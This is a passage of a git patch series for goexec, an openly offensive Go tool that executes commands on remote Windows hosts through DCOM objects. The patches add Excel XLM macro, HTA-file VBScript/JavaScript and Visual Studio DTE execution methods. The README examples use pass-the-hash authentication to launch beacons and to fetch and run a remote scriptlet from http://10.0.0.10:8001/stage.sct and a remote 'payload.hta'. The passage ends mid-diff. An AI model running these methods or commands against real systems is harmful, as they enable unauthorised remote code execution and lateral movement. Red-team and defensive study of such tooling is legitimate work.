h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.35.0 h1:vz1N37gP5bs89s7He8XuIYXpyY0+QlsKmzipCbUtyxI= -golang.org/x/sys v0.35.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k= golang.org/x/sys v0.36.0 h1:KVRy2GtZBrk1cBYA7MKu5bEZFxQk4NIDV6RLVcC8o0k= golang.org/x/sys v0.36.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= -golang.org/x/term v0.34.0 h1:O/2T7POpk0ZZ7MAzMeWFSg6S5IpWd/RXDlM9hgM3DR4= -golang.org/x/term v0.34.0/go.mod h1:5jC53AEywhIVebHgPVeg0mj8OD3VO9OzclacVrqpaAw= golang.org/x/term v0.35.0 h1:bZBVKBudEyhRcajGcNc3jIfWPqV4y/Kt2XcoigOWtDQ= golang.org/x/term v0.35.0/go.mod h1:TPGtkTLesOwf2DE8CgVYiZinHAOuy5AYUYT1lENIZnA= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= -golang.org/x/text v0.28.0 h1:rhazDwis8INMIwQ4tpjLDzUhx6RlXqZNPEM0huQojng= -golang.org/x/text v0.28.0/go.mod h1:U8nCwOR8jO/marOQ0QbDiOngZVEBB7MAiitBuMjXiNU= golang.org/x/text v0.29.0 h1:1neNs90w9YzJ9BocxfsQNHKuAT4pkghyXc4nhZ6sJvk= golang.org/x/text v0.29.0/go.mod h1:7MhJOA9CD2qZyOKYazxdYMF85OwPdEr9jTtBpO7ydH4= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= diff --git a/pkg/goexec/dcom/excel.go b/pkg/goexec/dcom/excel.go new file mode 100644 index 0000000..f3173f1 --- /dev/null +++ b/pkg/goexec/dcom/excel.go @@ -0,0 +1,75 @@ +package dcomexec + +import ( + "context" + "errors" + "fmt" + "strings" + "syscall" + + "github.com/FalconOpsLLC/goexec/internal/util" + "github.com/FalconOpsLLC/goexec/pkg/goexec" + "github.com/oiweiwei/go-msrpc/midl/uuid" + "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult" + "github.com/rs/zerolog" +) + +const ( + MethodExcelXlm = "Excel:ExecuteExcel4Macro" + ExcelApplicationUuid = "00020812-0000-0000-C000-000000000046" +) + +type DcomExcelXlm struct { + Dispatch + Macro string + MacroFile string +} + +// Init will initialize the ShellBrowserWindow instance +func (m *DcomExcelXlm) Init(ctx context.Context) (err error) { + if err = m.Dcom.Init(ctx); err == nil { + return m.getDispatch(ctx, uuid.MustParse(ExcelApplicationUuid)) + } + return +} + +func (m *DcomExcelXlm) Execute(ctx context.Context, execIO *goexec.ExecutionIO) (err error) { + log := zerolog.Ctx(ctx) + if m.Macro == "" { + m.Macro = fmt.Sprintf(`EXEC("%s")`, strings.ReplaceAll(execIO.String(), `"`, `""`)) + } + { // Call ExecuteExcel4Macro to execute macro + log.Info(). + Str("call", "ExecuteExcel4Macro"). + Str("macro", util.Truncate(m.Macro, 255)). + Msg("executing Excel macro") + ir, err := m.callComMethod(ctx, nil, "ExecuteExcel4Macro", stringToVariant(m.Macro)) + if err != nil { + return err + } + if ir.Return != 0 { + return hresult.FromCode(uint32(ir.Return)) + } + log.Info().Msg("ExecuteExcel4Macro call successful") + } + { // Terminate EXCEL.EXE via ExecuteExcel4Macro("QUIT()") + quit := "QUIT()" + log.Info(). + Str("call", "ExecuteExcel4Macro"). + Str("macro", quit). + Msg("terminating Excel process") + qr, err := m.callComMethod(ctx, nil, "ExecuteExcel4Macro", stringToVariant(quit)) + _ = qr + if err != nil { + if errors.Is(err, syscall.ECONNRESET) { + log.Info().Msg("Excel process terminated") + return nil + } + return fmt.Errorf(`call ExecuteExcel4Macro("%s"): %w`, quit, err) + } + if qr.Return != 0 { + return hresult.FromCode(uint32(qr.Return)) + } + } + return +} From ef537963e0ee624c17bcd66ed8e334fbd74616e2 Mon Sep 17 00:00:00 2001 From: Bryan McNulty Date: Mon, 29 Sep 2025 20:06:48 -0500 Subject: [PATCH 12/34] `dcom htafile`: reject script URLs >508 chars --- cmd/dcom.go | 23 ++++++++++++++--------- pkg/goexec/dcom/htafile.go | 33 +++++++++++++++++++-------------- 2 files changed, 33 insertions(+), 23 deletions(-) diff --git a/cmd/dcom.go b/cmd/dcom.go index 650a641..ed13bde 100644 --- a/cmd/dcom.go +++ b/cmd/dcom.go @@ -5,6 +5,7 @@ import ( "fmt" "io" "os" + "strings" "github.com/FalconOpsLLC/goexec/pkg/goexec" dcomexec "github.com/FalconOpsLLC/goexec/pkg/goexec/dcom" @@ -95,7 +96,9 @@ func dcomShellBrowserWindowCmdInit() { func dcomHtafileCmdInit() { dcomHtafileExecFlags := newFlagSet("Execution") - dcomHtafileExecFlags.Flags.StringVar(&dcomHtafile.Url, "url", "", "Load custom `URL`") + dcomHtafileExecFlags.Flags.StringVarP(&dcomHtafile.Url, "url", "U", "", "Load custom `URL`") + dcomHtafileExecFlags.Flags.StringVar(&dcomHtafile.Javascript, "js", "", "Execute JavaScript one-liner") + dcomHtafileExecFlags.Flags.StringVar(&dcomHtafile.Vbscript, "vbs", "", "Execute VBScript one-liner") registerExecutionFlags(dcomHtafileExecFlags.Flags) registerExecutionOutputFlags(dcomHtafileExecFlags.Flags) @@ -108,7 +111,7 @@ func dcomHtafileCmdInit() { dcomHtafileCmd.Flags().AddFlagSet(dcomHtafileExecFlags.Flags) // Constraints - dcomHtafileCmd.MarkFlagsOneRequired("command", "exec", "url") + dcomHtafileCmd.MarkFlagsOneRequired("command", "exec", "url", "js", "vbs") } func dcomExcelXlmCmdInit() { @@ -216,20 +219,22 @@ var ( Long: `Description: The htafile method uses the exposed "HTML Application" DCOM object to load a remote HTA application or execute inline. This is made possible by the Load method of the IPersistMoniker interface.`, - Args: args(argsRpcClient("host", ""), - argsOutput("smb"), - func(*cobra.Command, []string) error { - return dcomexec.CheckUrlLength(dcomHtafile.Url, &exec) - }, - ), - Run: func(cmd *cobra.Command, args []string) { + Args: args(argsRpcClient("host", ""), argsOutput("smb")), + RunE: func(cmd *cobra.Command, args []string) error { dcomHtafile.Client = &rpcClient + dcomHtafile.Url = dcomexec.HtafileGetUrl(dcomHtafile.Url, dcomHtafile.Javascript, dcomHtafile.Vbscript, &exec) + + if url := strings.ToLower(dcomHtafile.Url); + (strings.HasPrefix(url, "javascript:") || strings.HasPrefix(url, "vbscript:")) && len(url) > 508 { + return fmt.Errorf("script URL exceeds maximum length supported by mshta.exe (%d > 508)", len(url)) + } ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodHtafile). Logger().WithContext(gssapi.NewSecurityContext(context.Background())) if err := goexec.ExecuteCleanMethod(ctx, &dcomHtafile, &exec); err != nil { log.Fatal().Err(err).Msg("Operation failed") } + return nil }, } diff --git a/pkg/goexec/dcom/htafile.go b/pkg/goexec/dcom/htafile.go index e4cd7c0..947a89e 100644 --- a/pkg/goexec/dcom/htafile.go +++ b/pkg/goexec/dcom/htafile.go @@ -50,8 +50,10 @@ const ( // See https://learn.microsoft.com/en-us/openspecs/office_file_formats/m type DcomHtafile struct { Dcom - Url string - ipm ipersistmoniker.PersistMonikerClient + Url string + Vbscript string + Javascript string + ipm ipersistmoniker.PersistMonikerClient } // Init will initialize the ShellBrowserWindow instance @@ -71,14 +73,11 @@ func (m *DcomHtafile) Init(ctx context.Context) (err error) { func (m *DcomHtafile) Execute(ctx context.Context, execIO *goexec.ExecutionIO) (err error) { log := zerolog.Ctx(ctx) - if m.Url == "" { - m.Url = fmt.Sprintf(`javascript:new ActiveXObject(%q).Run(%q)`, `WScript.Shell`, execIO.String()) - } mon, err := getUrlMoniker(m.Url, 0) if err != nil { return fmt.Errorf("create url moniker structure: %w", err) } - log.Info().Str("URL", m.Url).Msg("calling Load method") + log.Info().Str("URL", m.Url).Msg("Loading URL moniker") lrs, err := m.ipm.Load(ctx, &ipersistmoniker.LoadRequest{ This: &dcom.ORPCThis{Version: m.comVersion}, Name: mon, @@ -137,7 +136,6 @@ func getUrlMoniker(url string, flags uint32) (*urlmon.Moniker, error) { Value: &dcom.ObjectReference_Custom{ Custom: &dcom.ObjectReferenceCustom{ ClassID: (*dcom.ClassID)(dtyp.GUIDFromUUID(uuid.MustParse(urlMonikerUuid))), - Size: uint32(len(blob)), // TODO: Necessary? ObjectData: blob, }, }, @@ -150,12 +148,19 @@ func getUrlMoniker(url string, flags uint32) (*urlmon.Moniker, error) { return &urlmon.Moniker{Data: dat}, nil } -func CheckUrlLength(url string, execIO *goexec.ExecutionIO) (err error) { - if url == "" { - url = fmt.Sprintf(`javascript:new ActiveXObject(%q).Run(%q)`, `WScript.Shell`, execIO.String()) - } - if strings.HasPrefix(strings.ToLower(url), "javascript:") && len(url) > 508 { - return fmt.Errorf("URL length exceeds max (%d > 508)", len(url)) +func HtafileGetUrl(url, jscript, vbscript string, execIO *goexec.ExecutionIO) string { + switch { + case url != "": + case vbscript != "": + return "vbscript:" + vbscript + case jscript != "": + return "javascript:" + jscript + case execIO != nil: + return getVbscriptCmdExecUrl(execIO.String()) } - return nil + return url +} + +func getVbscriptCmdExecUrl(cmd string) string { + return fmt.Sprintf(`vbscript:Close(CreateObject("WScript.Shell").Run("%s"))`, strings.ReplaceAll(cmd, `"`, `""`)) } From a7cf8027414ce600561ce9c03a86e9d38d4f1416 Mon Sep 17 00:00:00 2001 From: Bryan McNulty Date: Mon, 29 Sep 2025 20:10:02 -0500 Subject: [PATCH 13/34] add truncate func --- internal/util/util.go | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/internal/util/util.go b/internal/util/util.go index 5f6c8f3..5daf83f 100644 --- a/internal/util/util.go +++ b/internal/util/util.go @@ -1,10 +1,11 @@ package util import ( - "github.com/google/uuid" "math/rand" // not crypto secure "regexp" "strings" + + "github.com/google/uuid" ) const randHostnameCharset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-" @@ -24,6 +25,13 @@ func RandomHostname() (hostname string) { } } +func Truncate(s string, n int) string { + if len(s) <= n { + return s + } + return s[:n] + "..." +} + func RandomWindowsTempFile() string { return `\Windows\Temp\` + strings.ToUpper(uuid.New().String()) } From 721f87a24ac4c764e21f8f10cb3038792cfe0ed5 Mon Sep 17 00:00:00 2001 From: Bryan McNulty Date: Mon, 29 Sep 2025 23:39:57 -0500 Subject: [PATCH 14/34] +method: `dcom vs-dte` --- cmd/dcom.go | 46 ++++++++++++++++++++++-- pkg/goexec/dcom/visualstudio.go | 63 +++++++++++++++++++++++++++++++++ 2 files changed, 107 insertions(+), 2 deletions(-) create mode 100644 pkg/goexec/dcom/visualstudio.go diff --git a/cmd/dcom.go b/cmd/dcom.go index ed13bde..fb37cb4 100644 --- a/cmd/dcom.go +++ b/cmd/dcom.go @@ -24,6 +24,7 @@ func dcomCmdInit() { dcomShellBrowserWindowCmdInit() dcomHtafileCmdInit() dcomExcelXlmCmdInit() + dcomVsDteCmdInit() dcomCmd.PersistentFlags().AddFlagSet(defaultAuthFlags.Flags) dcomCmd.PersistentFlags().AddFlagSet(defaultLogFlags.Flags) @@ -34,6 +35,7 @@ func dcomCmdInit() { dcomShellBrowserWindowCmd, dcomHtafileCmd, dcomExcelXlmCmd, + dcomVsDteCmd, ) } @@ -134,12 +136,34 @@ func dcomExcelXlmCmdInit() { dcomExcelXlmCmd.MarkFlagsMutuallyExclusive("macro", "macro-file", "out") } +func dcomVsDteCmdInit() { + dcomVsDteExecFlags := newFlagSet("Execution") + dcomVsDteExecFlags.Flags.StringVar(&dcomVisualStudioDte.CommandName, "vs-command", "", "Visual Studio DTE command to execute") + dcomVsDteExecFlags.Flags.StringVar(&dcomVisualStudioDte.CommandArgs, "vs-args", "", "Visual Studio DTE command arguments") + registerExecutionFlags(dcomVsDteExecFlags.Flags) + registerExecutionOutputFlags(dcomVsDteExecFlags.Flags) + + cmdFlags[dcomVsDteCmd] = []*flagSet{ + dcomVsDteExecFlags, + defaultAuthFlags, + defaultLogFlags, + defaultNetRpcFlags, + } + dcomVsDteCmd.Flags().AddFlagSet(dcomVsDteExecFlags.Flags) + + // Constraints + dcomVsDteCmd.MarkFlagsOneRequired("command", "exec", "vs-command") + dcomVsDteCmd.MarkFlagsMutuallyExclusive("command", "exec", "vs-command") + dcomVsDteCmd.MarkFlagsMutuallyExclusive("vs-command", "out") +} + var ( dcomMmc = dcomexec.DcomMmc{} dcomShellWindows = dcomexec.DcomShellWindows{} dcomShellBrowserWindow = dcomexec.DcomShellBrowserWindow{} dcomHtafile = dcomexec.DcomHtafile{} dcomExcelXlm = dcomexec.DcomExcelXlm{} + dcomVisualStudioDte = dcomexec.DcomVisualStudioDte{} dcomCmd = &cobra.Command{ Use: "dcom", @@ -243,7 +267,7 @@ var ( Short: "Execute with the Excel.Application DCOM object using XLM macros", Long: `Description: The excel-xlm method uses the exposed Excel.Application DCOM object to call ExecuteExcel4Macro, thus executing - XLM macros at will.`, + XLM macros at will. This method requires that the remote host has Microsoft Excel installed.`, Args: args(argsRpcClient("host", ""), argsOutput("smb"), func(*cobra.Command, []string) error { if dcomExcelXlm.MacroFile != "" { @@ -261,7 +285,7 @@ var ( return nil }, ), - Run: func(cmd *cobra.Command, args []string) { + Run: func(*cobra.Command, []string) { dcomExcelXlm.Client = &rpcClient ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodExcelXlm). Logger().WithContext(gssapi.NewSecurityContext(context.Background())) @@ -271,4 +295,22 @@ var ( } }, } + + dcomVsDteCmd = &cobra.Command{ + Use: "vs-dte [target]", + Short: "Execute with the VisualStudio.DTE object", + Long: `Description: + The vs-dte method uses the exposed VisualStudio.DTE object to spawn a process via the ExecuteCommand method. + This method requires that the remote host has Microsoft Visual Studio installed.`, + Args: args(argsRpcClient("host", ""), argsOutput("smb")), + Run: func(*cobra.Command, []string) { + dcomVisualStudioDte.Client = &rpcClient + ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodVisualStudioDTE). + Logger().WithContext(gssapi.NewSecurityContext(context.Background())) + + if err := goexec.ExecuteCleanMethod(ctx, &dcomVisualStudioDte, &exec); err != nil { + log.Fatal().Err(err).Msg("Operation failed") + } + }, + } ) diff --git a/pkg/goexec/dcom/visualstudio.go b/pkg/goexec/dcom/visualstudio.go new file mode 100644 index 0000000..63fbd79 --- /dev/null +++ b/pkg/goexec/dcom/visualstudio.go @@ -0,0 +1,63 @@ +package dcomexec + +import "github.com/rs/zerolog" + +/* +See https://learn.microsoft.com/en-us/dotnet/api/envdte._dte.executecommand +*/ + +import ( + "context" + + "github.com/FalconOpsLLC/goexec/pkg/goexec" + "github.com/oiweiwei/go-msrpc/midl/uuid" + + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult" + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus" + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32" +) + +const ( + MethodVisualStudioDTE = "VisualStudio.DTE:ExecuteCommand" + VisualStudioDteUuid = "33ABD590-0400-4FEF-AF98-5F5A8A99CFC3" +) + +type DcomVisualStudioDte struct { + Dispatch + // CommandName is the name of the DTE command to invoke + CommandName string + // CommandArgs are the arguments to pass to the command + CommandArgs string +} + +func (m *DcomVisualStudioDte) Init(ctx context.Context) (err error) { + if err = m.Dcom.Init(ctx); err == nil { + return m.getDispatch(ctx, uuid.MustParse(VisualStudioDteUuid)) + } + return +} + +func (m *DcomVisualStudioDte) Execute(ctx context.Context, execIO *goexec.ExecutionIO) (err error) { + log := zerolog.Ctx(ctx) + dteCmd := m.CommandName + dteArgs := m.CommandArgs + if dteCmd == "" { + dteCmd = "tools.shell" + dteArgs = execIO.String() + } + defer func() { + // Terminate devenv.exe + q, err := m.callComMethod(ctx, nil, "Quit") + if err != nil { + log.Warn().Err(err).Msg("Call to Quit() failed") + err = nil + } + zerolog.Ctx(ctx).Info().Int32("return", q.Return).Msg("Quit called") + }() + log.Info().Str("command", dteCmd).Str("args", dteArgs).Msg("Executing DTE command") + ir, err := m.callComMethod(ctx, nil, "ExecuteCommand", stringToVariant(dteArgs), stringToVariant(dteCmd)) + if err == nil { + log.Info().Int32("return", ir.Return).Msg("ExecuteCommand called") + } + return +} From a5ec3d4079961c8cc1500642496a6f393c0e9d5b Mon Sep 17 00:00:00 2001 From: Bryan McNulty Date: Mon, 29 Sep 2025 23:42:05 -0500 Subject: [PATCH 15/34] `dcom vs-dte`: fix linter error --- pkg/goexec/dcom/visualstudio.go | 1 - 1 file changed, 1 deletion(-) diff --git a/pkg/goexec/dcom/visualstudio.go b/pkg/goexec/dcom/visualstudio.go index 63fbd79..9033867 100644 --- a/pkg/goexec/dcom/visualstudio.go +++ b/pkg/goexec/dcom/visualstudio.go @@ -50,7 +50,6 @@ func (m *DcomVisualStudioDte) Execute(ctx context.Context, execIO *goexec.Execut q, err := m.callComMethod(ctx, nil, "Quit") if err != nil { log.Warn().Err(err).Msg("Call to Quit() failed") - err = nil } zerolog.Ctx(ctx).Info().Int32("return", q.Return).Msg("Quit called") }() From 302feb1d64fdd2a436a8d9298537f9d73986d1e9 Mon Sep 17 00:00:00 2001 From: Bryan McNulty Date: Tue, 30 Sep 2025 12:45:52 -0500 Subject: [PATCH 16/34] Add note about Kerberos support for DCOM --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 4d0b25b..5f95549 100644 --- a/README.md +++ b/README.md @@ -197,6 +197,7 @@ The `dcom` module uses exposed Distributed Component Object Model (DCOM) objects > [!WARNING] > The DCOM module is generally less reliable than other modules because the underlying methods are often reliant on the target Windows version and specific Windows settings. +> Kerberos auth is not officially supported by the DCOM module, but kudos if you can get it to work. ```text Usage: From 8da86fa3a1bef30d12864d37bcb8b17b6fefb0c0 Mon Sep 17 00:00:00 2001 From: Bryan McNulty Date: Tue, 30 Sep 2025 12:52:46 -0500 Subject: [PATCH 17/34] docs: "./goexec" -> "goexec" --- README.md | 26 +++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git a/README.md b/README.md index 5f95549..2e56714 100644 --- a/README.md +++ b/README.md @@ -148,13 +148,13 @@ Execution: ```shell # Run an executable without arguments -./goexec wmi proc "$target" \ +goexec wmi proc "$target" \ -u "$auth_user" \ -p "$auth_pass" \ -e 'C:\Windows\Temp\Beacon.exe' \ # Authenticate with NT hash, fetch output from `cmd.exe /c whoami /all` -./goexec wmi proc "$target" \ +goexec wmi proc "$target" \ -u "$auth_user" \ -H "$auth_nt" \ -e 'cmd.exe' \ @@ -183,7 +183,7 @@ WMI: ```shell # Call StdRegProv.EnumKey - enumerate registry subkeys of HKLM\SYSTEM -./goexec wmi call "$target" \ +goexec wmi call "$target" \ -u "$auth_user" \ -p "$auth_pass" \ -C 'StdRegProv' \ @@ -245,7 +245,7 @@ Execution: ```shell # Authenticate with NT hash, fetch output from `cmd.exe /c whoami /priv` to file -./goexec dcom mmc "$target" \ +goexec dcom mmc "$target" \ -u "$auth_user" \ -H "$auth_nt" \ -e 'cmd.exe' \ @@ -285,7 +285,7 @@ The app window argument (`--app-window`) must be one of the values described [he ```shell # Authenticate with local admin NT hash, execute `netstat.exe -anop tcp` w/ output -./goexec dcom shellwindows "$target" \ +goexec dcom shellwindows "$target" \ -u "$auth_user" \ -H "$auth_nt" \ -e 'netstat.exe' \ @@ -293,7 +293,7 @@ The app window argument (`--app-window`) must be one of the values described [he -o- # write to standard output # Authenticate with local admin password, open maximized notepad window on desktop -./goexec dcom shellwindows "$target" \ +goexec dcom shellwindows "$target" \ -u "$auth_user" \ -p "$auth_pass" \ -e 'notepad.exe' \ @@ -327,7 +327,7 @@ Execution: ```shell # Authenticate with NT hash, open explorer.exe maximized -./goexec dcom shellbrowserwindow "$target" \ +goexec dcom shellbrowserwindow "$target" \ -u "$auth_user@$domain" \ -H "$auth_nt" \ -e 'explorer.exe' \ @@ -394,7 +394,7 @@ Execution: # Authenticate with NT hash via Kerberos, # register task at \Microsoft\Windows\GoExec, # execute `C:\Windows\Temp\Beacon.exe` -./goexec tsch create "$target" \ +goexec tsch create "$target" \ --user "${auth_user}@${domain}" \ --nt-hash "$auth_nt" \ --dc "$dc_ip" \ @@ -405,7 +405,7 @@ Execution: # Authenticate using Kerberos AES key, # execute `C:\Windows\Temp\Seatbelt.exe -group=system`, # collect output with lengthened (5 minute) timeout -./goexec tsch create "$target" \ +goexec tsch create "$target" \ --user "${auth_user}@${domain}" \ --dc "$dc_ip" \ --aes-key "$auth_aes" \ @@ -442,7 +442,7 @@ Execution: ```shell # Use random task name, execute `notepad.exe` on desktop session 1 -./goexec tsch demand "$target" \ +goexec tsch demand "$target" \ --user "$auth_user" \ --password "$auth_pass" \ --exec 'notepad.exe' \ @@ -451,7 +451,7 @@ Execution: # Authenticate with NT hash via Kerberos, # register task at \Microsoft\Windows\GoExec (will be deleted), # execute `C:\Windows\System32\cmd.exe /c set` with output -./goexec tsch demand "$target" \ +goexec tsch demand "$target" \ --user "${auth_user}@${domain}" \ --nt-hash "$auth_nt" \ --dc "$dc_ip" \ @@ -492,7 +492,7 @@ Execution: ```shell # Enable debug logging, Modify "\Microsoft\Windows\UPnP\UPnPHostConfig" to run `cmd.exe /c whoami /all` with output -./goexec tsch change $target --debug \ +goexec tsch change $target --debug \ -u "${auth_user}" \ -p "${auth_pass}" \ -t '\Microsoft\Windows\UPnP\UPnPHostConfig' \ @@ -595,7 +595,7 @@ Execution: ```shell # Used named pipe transport, Modify the PlugPlay service to execute `C:\Windows\System32\cmd.exe /c C:\Windows\Temp\stage.bat` -./goexec scmr change $target \ +goexec scmr change $target \ -u "$auth_user" \ -p "$auth_pass" \ -F "ncacn_np:" \ From 0c0a1d04297a52d9629ea9656178555dfa93b67c Mon Sep 17 00:00:00 2001 From: Bryan McNulty Date: Tue, 30 Sep 2025 15:50:29 -0500 Subject: [PATCH 18/34] docs: +htafile info,examples --- README.md | 48 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 48 insertions(+) diff --git a/README.md b/README.md index 2e56714..daa6c83 100644 --- a/README.md +++ b/README.md @@ -207,6 +207,7 @@ Available Commands: mmc Execute with the MMC20.Application DCOM object shellwindows Execute with the ShellWindows DCOM object shellbrowserwindow Execute with the ShellBrowserWindow DCOM object + htafile Execute with the HTAFile DCOM object ... [inherited flags] ... @@ -334,6 +335,53 @@ goexec dcom shellbrowserwindow "$target" \ --app-window 3 ``` +#### `htafile` Method (`dcom htafile`) + +The `htafile` method uses the exposed HTML Application object to call [`IPersistMoniker.Load`](https://learn.microsoft.com/en-us/previous-versions/aa458529(v=msdn.10)) with a client-supplied [URL moniker](https://learn.microsoft.com/en-us/openspecs/office_file_formats/ms-oshared/4948a119-c4e4-46b6-9609-0525118552e8). The URL can point to a URL of any format supported by `mshta.exe`. + +```text +Usage: + goexec dcom htafile [target] [flags] + +Execution: + -U, --url URL Load custom URL + --js string Execute JavaScript one-liner + --vbs string Execute VBScript one-liner + -e, --exec executable Remote Windows executable to invoke + -a, --args string Process command line arguments + -c, --command string Windows process command line (executable & arguments) + -o, --out file Fetch execution output to file or "-" for standard output + -m, --out-method string Method to fetch execution output (default "smb") + --out-timeout duration Output timeout duration (default 1m0s) + --no-delete-out Preserve output file on remote filesystem + +... [inherited flags] ... +``` + +##### Examples + +```shell +# Execute `net user` + print output +goexec dcom htafile "$target" \ + --user "${auth_user}@${domain}" \ + --password "$auth_pass" \ + --command 'net user' \ + --out - + +# Execute blind WSH JavaScript one-liner using admin NT hash +goexec dcom htafile "$target" \ + --user "${auth_user}@${domain}" \ + --nt-hash "$auth_nt" \ + --js 'GetObject("script:http://10.0.0.10:8001/stage.sct").Exec();close()' + +# Execute remote HTA file using admin NT hash +goexec dcom htafile "$target" \ + --user "${auth_user}@${domain}" \ + --nt-hash "$auth_nt" \ + --url "http://callback.lan/payload.hta" +``` + + ### Task Scheduler Module (`tsch`) The `tsch` module makes use of the Windows Task Scheduler service ([MS-TSCH](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/)) to spawn processes on the remote target. From 2b192dfcfa312a3accc37faa75db4991129aabee Mon Sep 17 00:00:00 2001 From: Bryan McNulty Date: Tue, 30 Sep 2025 22:12:59 -0500 Subject: [PATCH 19/34] method: +`dcom excel-xll`; rename `excel-xlm` to `excel-macro` --- cmd/dcom.go | 591 +++++++++++++++++++++------------------ pkg/goexec/dcom/excel.go | 163 +++++++---- 2 files changed, 418 insertions(+), 336 deletions(-) diff --git a/cmd/dcom.go b/cmd/dcom.go index fb37cb4..ff260d4 100644 --- a/cmd/dcom.go +++ b/cmd/dcom.go @@ -1,316 +1,355 @@ package cmd import ( - "context" - "fmt" - "io" - "os" - "strings" - - "github.com/FalconOpsLLC/goexec/pkg/goexec" - dcomexec "github.com/FalconOpsLLC/goexec/pkg/goexec/dcom" - "github.com/oiweiwei/go-msrpc/ssp/gssapi" - "github.com/spf13/cobra" + "context" + "fmt" + "io" + "os" + "strings" + + "github.com/FalconOpsLLC/goexec/pkg/goexec" + dcomexec "github.com/FalconOpsLLC/goexec/pkg/goexec/dcom" + "github.com/oiweiwei/go-msrpc/ssp/gssapi" + "github.com/spf13/cobra" ) func dcomCmdInit() { - cmdFlags[dcomCmd] = []*flagSet{ - defaultAuthFlags, - defaultLogFlags, - defaultNetRpcFlags, - } - dcomMmcCmdInit() - dcomShellWindowsCmdInit() - dcomShellBrowserWindowCmdInit() - dcomHtafileCmdInit() - dcomExcelXlmCmdInit() - dcomVsDteCmdInit() - - dcomCmd.PersistentFlags().AddFlagSet(defaultAuthFlags.Flags) - dcomCmd.PersistentFlags().AddFlagSet(defaultLogFlags.Flags) - dcomCmd.PersistentFlags().AddFlagSet(defaultNetRpcFlags.Flags) - dcomCmd.AddCommand( - dcomMmcCmd, - dcomShellWindowsCmd, - dcomShellBrowserWindowCmd, - dcomHtafileCmd, - dcomExcelXlmCmd, - dcomVsDteCmd, - ) + cmdFlags[dcomCmd] = []*flagSet{ + defaultAuthFlags, + defaultLogFlags, + defaultNetRpcFlags, + } + dcomMmcCmdInit() + dcomShellWindowsCmdInit() + dcomShellBrowserWindowCmdInit() + dcomHtafileCmdInit() + dcomExcelMacroCmdInit() + dcomExcelXllCmdInit() + dcomVsDteCmdInit() + + dcomCmd.PersistentFlags().AddFlagSet(defaultAuthFlags.Flags) + dcomCmd.PersistentFlags().AddFlagSet(defaultLogFlags.Flags) + dcomCmd.PersistentFlags().AddFlagSet(defaultNetRpcFlags.Flags) + dcomCmd.AddCommand( + dcomMmcCmd, + dcomShellWindowsCmd, + dcomShellBrowserWindowCmd, + dcomHtafileCmd, + dcomExcelMacroCmd, + dcomExcelXllCmd, + dcomVsDteCmd, + ) } func dcomMmcCmdInit() { - dcomMmcExecFlags := newFlagSet("Execution") - registerExecutionFlags(dcomMmcExecFlags.Flags) - registerExecutionOutputFlags(dcomMmcExecFlags.Flags) - dcomMmcExecFlags.Flags.StringVar(&dcomMmc.WorkingDirectory, "directory", `C:\`, "Working `directory`") - dcomMmcExecFlags.Flags.StringVar(&dcomMmc.WindowState, "window", "Minimized", "Window state") - - cmdFlags[dcomMmcCmd] = []*flagSet{ - dcomMmcExecFlags, - defaultAuthFlags, - defaultLogFlags, - defaultNetRpcFlags, - } - dcomMmcCmd.Flags().AddFlagSet(dcomMmcExecFlags.Flags) - - // Constraints - dcomMmcCmd.MarkFlagsOneRequired("command", "exec") + dcomMmcExecFlags := newFlagSet("Execution") + registerExecutionFlags(dcomMmcExecFlags.Flags) + registerExecutionOutputFlags(dcomMmcExecFlags.Flags) + dcomMmcExecFlags.Flags.StringVar(&dcomMmc.WorkingDirectory, "directory", `C:\`, "Working `directory`") + dcomMmcExecFlags.Flags.StringVar(&dcomMmc.WindowState, "window", "Minimized", "Window state") + + cmdFlags[dcomMmcCmd] = []*flagSet{ + dcomMmcExecFlags, + defaultAuthFlags, + defaultLogFlags, + defaultNetRpcFlags, + } + dcomMmcCmd.Flags().AddFlagSet(dcomMmcExecFlags.Flags) + + // Constraints + dcomMmcCmd.MarkFlagsOneRequired("command", "exec") } func dcomShellWindowsCmdInit() { - dcomShellWindowsExecFlags := newFlagSet("Execution") - registerExecutionFlags(dcomShellWindowsExecFlags.Flags) - registerExecutionOutputFlags(dcomShellWindowsExecFlags.Flags) - dcomShellWindowsExecFlags.Flags.StringVar(&dcomShellWindows.WorkingDirectory, "directory", `C:\`, "Working directory `path`") - dcomShellWindowsExecFlags.Flags.StringVar(&dcomShellWindows.WindowState, "app-window", "0", "Application window state `ID`") - - cmdFlags[dcomShellWindowsCmd] = []*flagSet{ - dcomShellWindowsExecFlags, - 